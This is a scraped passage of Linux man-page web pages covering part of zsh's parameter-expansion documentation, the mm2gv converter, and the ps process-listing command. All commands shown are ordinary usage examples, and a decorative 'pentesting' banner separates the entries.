If arrayname is the name (N.B., not contents) of an array variable, then any elements contained in arrayname are removed from the substitution of name**. If the substitution is scalar,** either because name is a scalar variable or the expression is quoted, the elements of arrayname are instead tested against the entire expression.

${name:*arrayname}
Similar to the preceding substitution, but in the opposite sense, so that entries present in both the original substitution and as elements of arrayname are retained and others removed.

${name:^arrayname}

${name:^^arrayname} Zips two arrays, such that the output array is twice as long as the shortest (longest for `:^^’) of name and arrayname, with the elements alternatingly being picked from them. For `:^’, if one of the input arrays is longer, the output will stop when the end of the shorter array is reached. Thus,

a=(1 2 3 4); b=(a b); print ${a:^b}

will output `1 a 2 b’. For `:^^’, then the input is repeated until all of the longer array has been used up and the above will output `1 a 2 b 3 a 4 b’.

Either or both inputs may be a scalar, they will be treated as an array of length 1 with the scalar as the only element. If either array is empty, the other array is output with no extra elements inserted.

Currently the following code will output `a b’ and `1’ as two separate elements, which can be unexpected. The second print provides a workaround which should continue to work if this is changed.

a=(a b); b=(1 2); print -l “${a:^b}”; print -l “${${a:^b}}”

${name:offset}

${name:offset:length} This syntax gives effects similar to parameter subscripting in the form $name[start,end], but is compatible with other shells; note that both offset and length are interpreted differently from the components of a subscript.

If offset is non-negative, then if the variable name is a scalar substitute the contents starting offset characters from the first character of the string, and if name is an array substitute elements starting offset elements from the first element. If length is given, substitute that many characters or elements, otherwise the entire rest of the scalar or array.

A positive offset is always treated as the offset of a character or element in name from the first character or element of the array (this is different from native zsh subscript notation). Hence 0 refers to the first character or element regardless of the setting of the option KSH_ARRAYS.

A negative offset counts backwards from the end of the scalar or array, so that -1 corresponds to the last character or element, and so on.

When positive, length counts from the offset position toward the end of the scalar or array. When negative, length counts back from the end. If this results in a position smaller than offset**, a diagnostic is printed and nothing is substituted.**

The option MULTIBYTE is obeyed, i.e. the offset and length count multibyte characters where appropriate.

offset and length undergo the same set of shell substitutions as for scalar assignment; in addition, they are then subject to arithmetic evaluation. Hence, for example

print ${foo:3} print ${foo: 1 + 2} print ${foo:$(( 1 + 2))} print ${foo:$(echo 1 + 2)}

all have the same effect, extracting the string starting at the fourth character of $foo if the substitution would otherwise return a scalar, or the array starting at the fourth element if $foo would return an array. Note that with the option KSH_ARRAYS $foo always returns a scalar (regardless of the use of the offset syntax) and a form such as ${foo[*]:3} is required to extract elements of an array named foo.

If offset is negative, the - may not appear immediately after the : as this indicates the ${name:-word} form of substitution. Instead, a space may be inserted before the -. Furthermore, neither offset nor length may begin with an alphabetic character or & as these are used to indicate history-style modifiers. To substitute a value from a variable, the recommended approach is to precede it with a $ as this signifies the intention (parameter substitution can easily be rendered unreadable); however, as arithmetic substitution is performed, the expression ${var: offs} does work, retrieving the offset from $offs.

For further compatibility with other shells there is a special case for array offset 0. This usually accesses the first element of the array. However, if the substitution refers to the positional parameter array, e.g. $@ or $*, then offset 0 instead refers to $0, offset 1 refers to $1, and so on. In other words, the positional parameter array is effectively extended by prepending $0. Hence ${*:0:1} substitutes $0 and ${*:1:1} substitutes $1.

${name/pattern/repl}

${name//pattern/repl}

${name:/pattern/repl} Replace the longest possible match of pattern in the expansion of parameter name by string repl**. The first form** replaces just the first occurrence, the second form all occurrences, and the third form replaces only if pattern matches the entire string. Both pattern and repl are subject to double-quoted substitution, so that expressions like ${name/$opat/$npat} will work, but obey the usual rule that pattern characters in $opat are not treated specially unless either the option GLOB_SUBST is set, or $opat is instead substituted as ${~opat}.

The pattern may begin with a `#’, in which case the pattern must match at the start of the string, or `%’, in which case it must match at the end of the string, or `#%’ in which case the pattern must match the entire string. The repl may be an empty string, in which case the final `/’ may also be omitted. To quote the final `/’ in other cases it should be preceded by a single backslash; this is not necessary if the `/’ occurs inside a substituted parameter. Note also that the `#’, `%’ and `#% are not active if they occur inside a substituted parameter, even at the start.

If, after quoting rules apply, ${name} expands to an array, the replacements act on each element individually. Note also the effect of the I and S parameter expansion flags below; however, the flags M, R, B, E and N are not useful.

For example,

foo=“twinkle twinkle little star” sub=“t*e” rep=“spy” print ${foo//${~sub}/$rep} print ${(S)foo//${~sub}/$rep}

Here, the `~’ ensures that the text of $sub is treated as a pattern rather than a plain string. In the first case, the longest match for t*e is substituted and the result is `spy star’, while in the second case, the shortest matches are taken and the result is `spy spy lispy star’.

${#spec}
If spec is one of the above substitutions, substitute the length in characters of the result instead of the result itself. If spec is an array expression, substitute the number of elements of the result. This has the side-effect that joining is skipped even in quoted forms, which may affect other sub-expressions in spec**.** Note that `^’, `=’, and `~’, below, must appear to the left of `#’ when these forms are combined.

If the option POSIX_IDENTIFIERS is not set, and spec is a simple name, then the braces are optional; this is true even for special parameters so e.g. $#- and $#* take the length of the string $- and the array $* respectively. If POSIX_IDENTIFIERS is set, then braces are required for the # to be treated in this fashion.

${^spec}

${^^spec} Turn on the RC_EXPAND_PARAM option for the evaluation of spec**; if the `^’ is doubled, turn it off.** When this option is set, array expansions of the form foo**${xx}bar,** where the parameter xx is set to (a b c), are substituted with `fooabar foobbar foocbar**’ instead of the default** `fooa b cbar**’. Note that an empty array will therefore cause** all arguments to be removed.

Internally, each such expansion is converted into the equivalent list for brace expansion. E.g., ${^var} becomes {$var[1],$var[2],…}, and is processed as described in the section `Brace Expansion’ below: note, however, the expansion happens immediately, with any explicit brace expansion happening later. If word splitting is also in effect the $var[N] may themselves be split into different list elements.

${=spec}

${==spec} Perform word splitting using the rules for SH_WORD_SPLIT during the evaluation of spec**, but regardless of whether the parameter appears in** double quotes; if the `=’ is doubled, turn it off. This forces parameter expansions to be split into separate words before substitution, using IFS as a delimiter. This is done by default in most other shells.

Note that splitting is applied to word in the assignment forms of spec before the assignment to name is performed. This affects the result of array assignments with the A flag.

${~spec}

${~~spec} Turn on the GLOB_SUBST option for the evaluation of spec**; if the `~’ is doubled, turn it off. When this option is** set, the string resulting from the expansion will be interpreted as a pattern anywhere that is possible, such as in filename expansion and filename generation and pattern-matching contexts like the right hand side of the `=’ and `!=’ operators in conditions.

In nested substitutions, note that the effect of the ~ applies to the result of the current level of substitution. A surrounding pattern operation on the result may cancel it. Hence, for example, if the parameter foo is set to *, ${~foo///*.c} is substituted by the pattern *.c, which may be expanded by filename generation, but ${${~foo}///*.c} substitutes to the string *.c, which will not be further expanded.

If a ${…} type parameter expression or a $(…) type command substitution is used in place of name above, it is expanded first and the result is used as if it were the value of name**. Thus it is** possible to perform nested operations: ${${foo#head}%tail} substitutes the value of $foo with both `head’ and `tail’ deleted. The form with $(…) is often useful in combination with the flags described next; see the examples below. Each name or nested ${…} in a parameter expansion may also be followed by a subscript expression as described in Array Parameters in zshparam**(1).**

Note that double quotes may appear around nested expressions, in which case only the part inside is treated as quoted; for example, ${(f)"$(foo)"} quotes the result of $(foo), but the flag `(f)’ (see below) is applied using the rules for unquoted expansions. Note further that quotes are themselves nested in this context; for example, in "${(@f)"$(foo)"}", there are two sets of quotes, one surrounding the whole expression, the other (redundant) surrounding the $(foo) as before.

Parameter Expansion Flags

If the opening brace is directly followed by an opening parenthesis, the string up to the matching closing parenthesis will be taken as a list of flags. In cases where repeating a flag is meaningful, the repetitions need not be consecutive; for example, `(q%q%q)’ means the same thing as the more readable `(%%qqq)’. The following flags are supported:

# Evaluate the resulting words as numeric expressions and interpret these as character codes. Output the corresponding characters. Note that this form is entirely distinct from use of the # without parentheses.

If the MULTIBYTE option is set and the number is greater than 127 (i.e. not an ASCII character) it is treated as a Unicode character.

%
Expand all % escapes in the resulting words in the same way as in prompts (see EXPANSION OF PROMPT SEQUENCES in zshmisc**(1)). If this flag is given twice,** full prompt expansion is done on the resulting words, depending on the setting of the PROMPT_PERCENT, PROMPT_SUBST and PROMPT_BANG options.

@
In double quotes, array elements are put into separate words. E.g., `"${(@)foo}"’ is equivalent to `"${foo[@]}"’ and `"${(@)foo[1,2]}"’ is the same as `"$foo[1]" “$foo[2]”’. This is distinct from field splitting by the f, s or z flags, which still applies within each array element.

A
Convert the substitution into an array expression, even if it otherwise would be scalar. This has lower precedence than subscripting, so one level of nested expansion is required in order that subscripts apply to array elements. Thus ${${(A)name}[1]} yields the full value of name when name is scalar.

This assigns an array parameter with `${…=…}’, `${…:=…}’ or `${…::=…}’. If this flag is repeated (as in `AA’), assigns an associative array parameter. Assignment is made before sorting or padding; if field splitting is active, the word part is split before assignment. The name part may be a subscripted range for ordinary arrays; when assigning an associative array, the word part must be converted to an array, for example by using `${(AA)=name=…}’ to activate field splitting.

Surrounding context such as additional nesting or use of the value in a scalar assignment may cause the array to be joined back into a single string again.

a
Sort in array index order; when combined with `O’ sort in reverse array index order. Note that `a’ is therefore equivalent to the default but `Oa’ is useful for obtaining an array’s elements in reverse order.

b
Quote with backslashes only characters that are special to pattern matching. This is useful when the contents of the variable are to be tested using GLOB_SUBST, including the ${~} switch.

Quoting using one of the q family of flags does not work for this purpose since quotes are not stripped from non-pattern characters by GLOB_SUBST. In other words,

pattern=${(q)str} [[ $str = ${~pattern} ]]

works if $str is `a*b’ but not if it is `a b’, whereas

pattern=${(b)str} [[ $str = ${~pattern} ]]

is always true for any possible value of $str.

c
With ${#name}, count the total number of characters in an array, as if the elements were concatenated with spaces between them. This is not a true join of the array, so other expressions used with this flag may have an effect on the elements of the array before it is counted.

C
Capitalize the resulting words. `Words’ in this case refers to sequences of alphanumeric characters separated by non-alphanumerics, not to words that result from field splitting.

D
Assume the string or array elements contain directories and attempt to substitute the leading part of these by names. The remainder of the path (the whole of it if the leading part was not substituted) is then quoted so that the whole string can be used as a shell argument. This is the reverse of `~’ substitution: see the section FILENAME EXPANSION below.

e
Perform single word shell expansions, namely parameter expansion**,** command substitution and arithmetic expansion**, on the** result. Such expansions can be nested but too deep recursion may have unpredictable effects.

f
Split the result of the expansion at newlines. This is a shorthand for `ps: :’.

F
Join the words of arrays together using newline as a separator. This is a shorthand for `pj: :’.

g:opts:
Process escape sequences like the echo builtin when no options are given (g::). With the o option, octal escapes don’t take a leading zero. With the c option, sequences like `^X’ are also processed. With the e option, processes `\M-t’ and similar sequences like the print builtin. With both of the o and e options, behaves like the print builtin except that in none of these modes is `**

1997 - Linux cli command mm2gv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mm2gv and provides detailed information about the command mm2gv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mm2gv.

delim $$

NAME 🖥️ mm2gv 🖥️

Matrix Market-DOT converters

SYNOPSIS

mm2gv [ -cluv? ] [ -Ui ] [ -ooutfile ] [ file ]

DESCRIPTION

mm2gv converts a sparse matrix of the Matrix Market format to a graph in the GV (formerly DOT) format. If the matrix M is not square, the graph is considered bipartite and the matrix is viewed as a bipartite graph adjacency matrix, with the rows and columns of the matrix specifying the two sets of vertices. Equivalently, the matrix is converted into a symmetric square matrix

0M
$M sup T$0

a block matrix with square blocks of 0’s in the upper left and lower right, the upper right block being M and the lower left block being the transpose of M. This matrix is then viewed as the adjacency matrix of the graph.

For a square matrix, mm2gv uses it directly as an adjacency matrix if its pattern of non-zero entries is symmetric; otherwise, it will treat it as a bipartite graph as with the case of non-square matrices. This behavior can be modified by the -U flag.

OPTIONS

The following options are supported:

-c
This flag causes mm2gv to assign colors to the edges. The matrix element is scaled to the range [0,1] depending on where it lies between the minimum and maximum set matrix values. This scaled value is used as the “wt” attribute of the corresponding edge. In addition, this scalar value is mapped to an RGB value, which is stored as the edge “color”.

-l
If set, mm2gv attaches a label to the graph indicating the base name of the input file, and the number of nodes and edges.

-u
If specified, the graph is assumed to be undirected. By default, the graph generated is directed.

-v
This flag causes mm2gv to store the matrix values as the “len” attribute of the corresponding edge.

-Ubflag
Specifies how square matrices are handled. If bflag is 0, a square matrix will always be treated as an adjacency matrix. If bflag is 1 (the default), a square matrix with a symmetric pattern of non-zero entries will be used as an adjacency matrix; otherwise, it will be used a bipartite graph. If bflag is 2, a symmetric matrix will be used as an adjacency matrix; otherwise, it will be used a bipartite graph. If bflag is 3, any input matrix will be treated like a bipartite graph.

-ooutfile
Prints output to the file outfile. If not given, mm2gv uses stdout.

OPERANDS

The following operand is supported:

file
Name of the file in MatrixMarket format. If no file operand is specified, the standard input will be used.

RETURN CODES

Return 0 if there were no problems during conversion; and non-zero if any error occurred.

AUTHORS

Yifan Hu <[email protected]>
Emden R. Gansner <[email protected]>

ADDITIONAL INFO

See http://math.nist.gov/MatrixMarket/ for description of the format and http://www.cise.ufl.edu/research/sparse/matrices/ for a large collection of sparse matrices in this format.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1998 - Linux cli command ps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps and provides detailed information about the command ps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps.

NAME 🖥️ ps 🖥️

report a snapshot of the current processes.

SYNOPSIS

ps [options]

DESCRIPTION

ps displays information about a selection of the active processes. If you want a repetitive update of the selection and the displayed information, use top instead.

This version of ps accepts several kinds of options:

  1. UNIX options, which may be grouped and must be preceded by a dash.

  2. BSD options, which may be grouped and must not be used with a dash.

  3. GNU long options, which are preceded by two dashes.

Options of different types may be freely mixed, but conflicts can appear. There are some synonymous options, which are functionally identical, due to the many standards and ps implementations that this ps is compatible with.

By default, ps selects all processes with the same effective user ID (euid=EUID) as the current user and associated with the same terminal as the invoker. It displays the process ID (pid=PID), the terminal associated with the process (tname=TTY), the cumulated CPU time in [DD-]hh:mm:ss format (time=TIME), and the executable name (ucmd=CMD). Output is unsorted by default.

The use of BSD-style options will add process state (stat=STAT) to the default display and show the command args (args=COMMAND) instead of the executable name. You can override this with the PS_FORMAT environment variable. The use of BSD-style options will also change the process selection to include processes on other terminals (TTYs) that are owned by you; alternately, this may be described as setting the selection to be the set of all processes filtered to exclude processes owned by other users or not on a terminal. These effects are not considered when options are described as being “identical” below, so -M will be considered identical to Z and so on.

Except as described below, process selection options are additive. The default selection is discarded, and then the selected processes are added to the set of processes to be displayed. A process will thus be shown if it meets any of the given selection criteria.

EXAMPLES

To see every process on the system using standard syntax:
ps -e
ps -ef
ps -eF
ps -ely

To see every process on the system using BSD syntax:
ps ax
ps axu

To print a process tree:
ps -ejH
ps axjf

To get info about threads:
ps -eLf
ps axms

To get security info:
ps -eo euser,ruser,suser,fuser,f,comm,label
ps axZ
ps -eM

To see every process running as root (real & effective ID) in user format:
ps -U root -u root u

To see every process with a user-defined format:
ps -eo pid,tid,class,rtprio,ni,pri,psr,pcpu,stat,wchan:14,comm
ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm
ps -Ao pid,tt,user,fname,tmout,f,wchan

Print only the process IDs of syslogd:
ps -C syslogd -o pid=

Print only the name of PID 42:
ps -q 42 -o comm=

SIMPLE PROCESS SELECTION

a
Lift the BSD-style “only yourself” restriction, which is imposed upon the set of all processes when some BSD-style (without “-”) options are used or when the ps personality setting is BSD-like. The set of processes selected in this manner is in addition to the set of processes selected by other means. An alternate description is that this option causes ps to list all processes with a terminal (tty), or to list all processes when used together with the x option.

-A
Select all processes. Identical to -e.

-a
Select all processes except both session leaders (see getsid(2)) and processes not associated with a terminal.

-d
Select all processes except session leaders.

–deselect
Select all processes except those that fulfill the specified conditions (negates the selection). Identical to -N.

-e
Select all processes. Identical to -A.

g
Really all, even session leaders. This flag is obsolete and may be discontinued in a future release. It is normally implied by the a flag, and is only useful when operating in the sunos4 personality.

-N
Select all processes except those that fulfill the specified conditions (negates the selection). Identical to –deselect.

T
Select all processes associated with this terminal. Identical to the t option without any argument.

r
Restrict the selection to only running processes.

x
Lift the BSD-style “must have a tty” restriction, which is imposed upon the set of all processes when some BSD-style (without “-”) options are used or when the ps personality setting is BSD-like. The set of processes selected in this manner is in addition to the set of processes selected by other means. An alternate description is that this option causes ps to list all processes owned by you (same EUID as ps), or to list all processes when used together with the a option.

PROCESS SELECTION BY LIST

These options accept a single argument in the form of a blank-separated or comma-separated list. They can be used multiple times. For example: ps -p “1 2” -p 3,4

123
Identical to –pid 123.

+123
Identical to –sid 123.

-123
Select by process group ID (PGID).

-C* cmdlist*
Select by command name. This selects the processes whose executable name is given in cmdlist. NOTE: The command name is not the same as the command line. Previous versions of procps and the kernel truncated this command name to 15 characters. This limitation is no longer present in both. If you depended on matching only 15 characters, you may no longer get a match.

-G* grplist*
Select by real group ID (RGID) or name. This selects the processes whose real group name or ID is in the grplist list. The real group ID identifies the group of the user who created the process, see getgid(2).

-g* grplist*
Select by session OR by effective group name. Selection by session is specified by many standards, but selection by effective group is the logical behavior that several other operating systems use. This ps will select by session when the list is completely numeric (as sessions are). Group ID numbers will work only when some group names are also specified. See the -s and –group options.

–Group* grplist*
Select by real group ID (RGID) or name. Identical to -G.

–group* grplist*
Select by effective group ID (EGID) or name. This selects the processes whose effective group name or ID is in grplist. The effective group ID describes the group whose file access permissions are used by the process (see getegid(2)). The -g option is often an alternative to –group.

p* pidlist*
Select by process ID. Identical to -p and –pid.

-p* pidlist*
Select by PID. This selects the processes whose process ID numbers appear in pidlist. Identical to p and –pid.

–pid* pidlist*
Select by process ID. Identical to -p and p.

–ppid* pidlist*
Select by parent process ID. This selects the processes with a parent process ID in pidlist. That is, it selects processes that are children of those listed in pidlist.

q* pidlist*
Select by process ID (quick mode). Identical to -q and –quick-pid.

-q* pidlist*
Select by PID (quick mode). This selects the processes whose process ID numbers appear in pidlist. With this option ps reads the necessary info only for the pids listed in the pidlist and doesn’t apply additional filtering rules. The order of pids is unsorted and preserved. No additional selection options, sorting and forest type listings are allowed in this mode. Identical to q and –quick-pid.

–quick-pid* pidlist*
Select by process ID (quick mode). Identical to -q and q.

-s* sesslist*
Select by session ID. This selects the processes with a session ID specified in sesslist.

–sid* sesslist*
Select by session ID. Identical to -s.

t* ttylist*
Select by tty. Nearly identical to -t and –tty, but can also be used with an empty ttylist to indicate the terminal associated with ps. Using the T option is considered cleaner than using t with an empty ttylist.

-t* ttylist*
Select by tty. This selects the processes associated with the terminals given in ttylist. Terminals (ttys, or screens for text output) can be specified in several forms: /dev/ttyS1, ttyS1, S1. A plain “-” may be used to select processes not attached to any terminal.

–tty* ttylist*
Select by terminal. Identical to -t and t.

U* userlist*
Select by effective user ID (EUID) or name. This selects the processes whose effective user name or ID is in userlist. The effective user ID describes the user whose file access permissions are used by the process (see geteuid(2)). Identical to -u and –user.

-U* userlist*
Select by real user ID (RUID) or name. It selects the processes whose real user name or ID is in the userlist list. The real user ID identifies the user who created the process, see getuid(2).

-u* userlist*
Select by effective user ID (EUID) or name. This selects the processes whose effective user name or ID is in userlist.

The effective user ID describes the user whose file access permissions are used by the process (see geteuid(2)). Identical to U and –user.

–User* userlist*
Select by real user ID (RUID) or name. Identical to -U.

–user* userlist*
Select by effective user ID (EUID) or name. Identical to -u and U.

OUTPUT FORMAT CONTROL

These options are used to choose the information displayed by ps. The output may differ by personality.

-c
Show different scheduler information for the -l option.

–context
Display security context format (for SELinux).

-f
Do full-format listing. This option can be combined with many other UNIX-style options to add additional columns. It also causes the command arguments to be printed. When used with -L, the NLWP (number of threads) and LWP (thread ID) columns will be added. See the c option, the format keyword args, and the format keyword comm.

-F
Extra full format. See the -f option, which -F implies.

–format* format*
user-defined format. Identical to -o and o.

j
BSD job control format.

-j
Jobs format.

l
Display BSD long format.

-l
Long format. The -y option is often useful with this.

-M
Add a column of security data. Identical to Z (for SELinux).

O* format*
is preloaded o (overloaded). The BSD O option can act like -O (user-defined output format with some common fields predefined) or can be used to specify sort order. Heuristics are used to determine the behavior of this option. To ensure that the desired behavior is obtained (sorting or formatting), specify the option in some other way (e.g. with -O or –sort). When used as a formatting option, it is identical to -O, with the BSD personality.

-O* format*
Like -o, but preloaded with some default columns. Identical to -o pid,format,state,tname,time,command or -o pid,format,tname,time,cmd*,* see -o below.

o* format*
Specify user-defined format. Identical to -o and –format.

-o* format*
User-defined format. format is a single argument in the form of a blank-separated or comma-separated list, which offers a way to specify individual output columns. The recognized keywords are described in the STANDARD FORMAT SPECIFIERS section below. Headers may be renamed (ps -o pid,ruser=RealUser -o comm=Command) as desired. If all column headers are empty (ps -o pid= -o comm=) then the header line will not be output. Column width will increase as needed for wide headers; this may be used to widen up columns such as WCHAN (ps -o pid,wchan=WIDE-WCHAN-COLUMN -o comm). Explicit width control (ps opid,wchan:42,cmd) is offered too. The behavior of ps -o pid=X,comm=Y varies with personality; output may be one column named “X,comm=Y” or two columns named “X” and “Y”. Use multiple -o options when in doubt. Use the PS_FORMAT environment variable to specify a default as desired; DefSysV and DefBSD are macros that may be used to choose the default UNIX or BSD columns.

-P
Add a column showing psr.

s
Display signal format.

u
Display user-oriented format.

v
Display virtual memory format.

X
Register format.

-y
Do not show flags; show rss in place of addr. This option can only be used with -l.

Z
Add a column of security data. Identical to -M (for SELinux).

OUTPUT MODIFIERS

c
Show the true command name. This is derived from the name of the executable file, rather than from the argv value. Command arguments and any modifications to them are thus not shown. This option effectively turns the args format keyword into the comm format keyword; it is useful with the -f format option and with the various BSD-style format options, which all normally display the command arguments. See the -f option, the format keyword args, and the format keyword comm.

–cols* n*
Set screen width.

–columns* n*
Set screen width.

–cumulative
Include some dead child process data (as a sum with the parent).

-D* format*
Set the date format of the lstart field to format. This format is parsed by strftime(3) and should be a maximum of 24 characters to not mis-align columns.

–date-format* format*
Identical to -D.

e
Show the environment after the command.

f
ASCII art process hierarchy (forest).

–forest
ASCII art process tree.

h
No header. (or, one header per screen in the BSD personality). The h option is problematic. Standard BSD ps uses this option to print a header on each page of output, but older Linux ps uses this option to totally disable the header. This version of ps follows the Linux usage of not printing the header unless the BSD personality has been selected, in which case it prints a header on each page of output. Regardless of the current personality, you can use the long options –headers and –no-headers to enable printing headers each page or disable headers entirely, respectively.

-H
Show process hierarchy (forest).

–headers
Repeat header lines, one per page of output.

k* spec*
Specify sorting order. Sorting syntax is [+|-] key [,[+|-] key[,…]]. Choose a multi-letter key from the STANDARD FORMAT SPECIFIERS section. The “+” is optional since default direction is increasing numerical or lexicographic order. Identical to –sort.

Examples:
ps jaxkuid,-ppid,+pid
ps axk comm o comm,args
ps kstart_time -ef

–lines* n*
Set screen height.

n
Numeric output for WCHAN and USER (including all types of UID and GID).

–no-headers
Print no header line at all. –no-heading is an alias for this option.

O* order*
Sorting order (overloaded). The BSD O option can act like -O (user-defined output format with some common fields predefined) or can be used to specify sort order. Heuristics are used to determine the behavior of this option. To ensure that the desired behavior is obtained (sorting or formatting), specify the option in some other way (e.g. with -O or –sort).

For sorting, obsolete BSD O option syntax is O[+|-] k1[,[ +|-] k2[,…]]. It orders the processes listing according to the multilevel sort specified by the sequence of one-letter short keys k1,k2, … described in the OBSOLETE SORT KEYS section below. The “+” is currently optional, merely re-iterating the default direction on a key, but may help to distinguish an O sort from an O format. The “-” reverses direction only on the key it precedes.

–rows* n*
Set screen height.

S
Sum up some information, such as CPU usage, from dead child processes into their parent. This is useful for examining a system where a parent process repeatedly forks off short-lived children to do work.

–sort* spec*
Specify sorting order. Sorting syntax is [+|-] key[,[ +|-] key[,…]]. Choose a multi-letter key from the STANDARD FORMAT SPECIFIERS section. The “+” is optional since default direction is increasing numerical or lexicographic order. Identical to k. For example: ps jax –sort=uid,-ppid,+pid

–signames
Show signal masks using abbreviated signal names and expands the collumn. If the column width cannot show all signals, the column will end with a plus “+”. Columns with only a hyphen have no signals.

w
Wide output. Use this option twice for unlimited width.

-w
Wide output. Use this option twice for unlimited width.

–width* n*
Set screen width.

THREAD DISPLAY

H
Show threads as if they were processes.

-L
Show threads, possibly with LWP and NLWP columns.

m
Show threads after processes.

-m
Show threads after processes.

-T
Show threads, possibly with SPID column.

OTHER INFORMATION

–help* section*
Print a help message. The section argument can be one of simple, list, output, threads, misc, or all. The argument can be shortened to one of the underlined letters as in: s | l | o | t | m | a.

–info
Print debugging info.

L
List all format specifiers.

V
Print the procps-ng version.

-V
Print the procps-ng version.

–version
Print the procps-ng version.

NOTES

This ps works by reading the virtual files in /proc. This ps does not need to be setuid kmem or have any privileges to run. Do not give this ps any special permissions.

CPU usage is currently expressed as the percentage of time spent running during the entire lifetime of a process. This is not ideal, and it does not conform to the standards that ps otherwise conforms to. CPU usage is unlikely to add up to exactly 100%.

The SIZE and RSS fields don’t count some parts of a process including the page tables, kernel stack, struct thread_info, and struct task_struct. This is usually at least 20 KiB of memory that is always resident. SIZE is the virtual size of the process (code+data+stack).

Processes marked <defunct> are dead processes (so-called “zombies”) that remain because their parent has not destroyed them properly. These processes will be destroyed by init(8) if the parent process exits.

If the length of the username is greater than the width of the display column, the username will be truncated. See the -o and -O formatting options to customize length.

Commands options such as ps -aux are not recommended as it is a confusion of two different standards. According to the POSIX and UNIX standards, the above command asks to display all processes with a TTY (generally the commands users are running) plus all processes owned by a user named x. If that user doesn’t exist, then ps will assume you really meant “ps aux”.

PROCESS FLAGS

The sum of these values is displayed in the “F” column, which is provided by the flags output specifier:

1
forked but didn’t exec

4
used super-user privileges

PROCESS STATE CODES

Here are the different values that the s, stat and state output specifiers (header “STAT” or “S”) will display to describe the state of a process:

D
uninterruptible sleep (usually IO)

I
Idle kernel thread

R
running or runnable (on run queue)

S
interruptible sleep (waiting for an event to complete)

T
stopped by job control signal

t
stopped by debugger during the tracing

W
paging (not valid since the 2.6.xx kernel)

X
dead (should never be seen)

Z
defunct (“zombie”) process, terminated but not reaped by its parent

For BSD formats and when the stat keyword is used, additional characters may be displayed:

<
high-priority (not nice to other users)

N
low-priority (nice to other users)

L
has pages locked into memory (for real-time and custom IO)

s
is a session leader

l
is multi-threaded (using CLONE_THREAD, like NPTL pthreads do)

+
is in the foreground process group

OBSOLETE SORT KEYS

These keys are used by the BSD O option (when it is used for sorting). The GNU –sort option doesn’t use these keys, but the specifiers described below in the STANDARD FORMAT SPECIFIERS section. Note that the values used in sorting are the internal values ps uses and not the “cooked” values used in some of the output format fields (e.g. sorting on tty will sort into device number, not according to the terminal name displayed). Pipe ps output into the sort(1) command if you want to sort the cooked values.

KEYLONGDESCRIPTION
ccmdsimple name of executable
Cpcpucpu utilization
fflagsflags as in long format F field
gpgrpprocess group ID
Gtpgidcontrolling tty process group ID
jcutimecumulative user time
Jcstimecumulative system time
kutimeuser time
mmin_fltnumber of minor page faults
Mmaj_fltnumber of major page faults
ncmin_fltcumulative minor page faults
Ncmaj_fltcumulative major page faults
osessionsession ID
ppidprocess ID
Pppidparent process ID
rrssresident set size
Rresidentresident pages
ssizememory size in kilobytes
Sshareamount of shared pages
tttythe device number of the controlling tty
Tstart_timetime process was started
Uuiduser ID number
uuseruser name
vvsizetotal VM size in KiB
yprioritykernel scheduling priority

AIX FORMAT DESCRIPTORS

This ps supports AIX format descriptors, which work somewhat like the formatting codes of printf(1) and printf(3). For example, the normal default output can be produced with this: ps -eo “%p %y %x %c”. The NORMAL codes are described in the next section.

CODENORMALHEADER
%Cpcpu%CPU
%GgroupGROUP
%PppidPPID
%UuserUSER
%aargsCOMMAND
%ccommCOMMAND
%grgroupRGROUP
%nniceNI
%ppidPID
%rpgidPGID
%tetimeELAPSED
%uruserRUSER
%xtimeTIME
%yttyTTY
%zvszVSZ

STANDARD FORMAT SPECIFIERS

Here are the different keywords that may be used to control the output format (e.g., with option -o) or to sort the selected processes with the GNU-style –sort option.

For example: ps -eo pid,user,args –sort user

This version of ps tries to recognize most of the keywords used in other implementations of ps.

The following user-defined format specifiers may contain spaces: args, cmd, comm, command, fname, ucmd, ucomm, lstart, bsdstart, start.

Some keywords may not be available for sorting.

CODEHEADERDESCRIPTION
%cpu%CPUcpu utilization of the process in "##.#" format. Currently, it is the CPU time used divided by the time the process has been running (cputime/realtime ratio), expressed as a percentage. It will not add up to 100% unless you are lucky. (alias pcpu).
%mem%MEMratio of the process's resident set size to the physical memory on the machine, expressed as a percentage. (alias pmem).
ag_idAGIDThe autogroup identifier associated with a process which operates in conjunction with the CFS scheduler to improve interactive desktop performance.
ag_niceAGNIThe autogroup nice value which affects scheduling of all processes in that group.
argsCOMMANDcommand with all its arguments as a string. Modifications to the arguments may be shown. The output in this column may contain spaces. A process marked <defunct> is partly dead, waiting to be fully destroyed by its parent. Sometimes the process args will be unavailable; when this happens, ps will instead print the executable name in brackets. (alias cmd, command). See also the comm format keyword, the -f option, and the c option.
When specified last, this column will extend to the edge of the display. If ps can not determine display width, as when output is redirected (piped) into a file or another command, the output width is undefined (it may be 80, unlimited, determined by the TERM variable, and so on). The COLUMNS environment variable or --cols option may be used to exactly determine the width in this case. The w or -w option may be also be used to adjust width.
blockedBLOCKEDmask of the blocked signals, see signal(7). According to the width of the field, a 32 or 64-bit mask in hexadecimal format is displayed, unless the --signames option is used. (alias sig_block, sigmask).
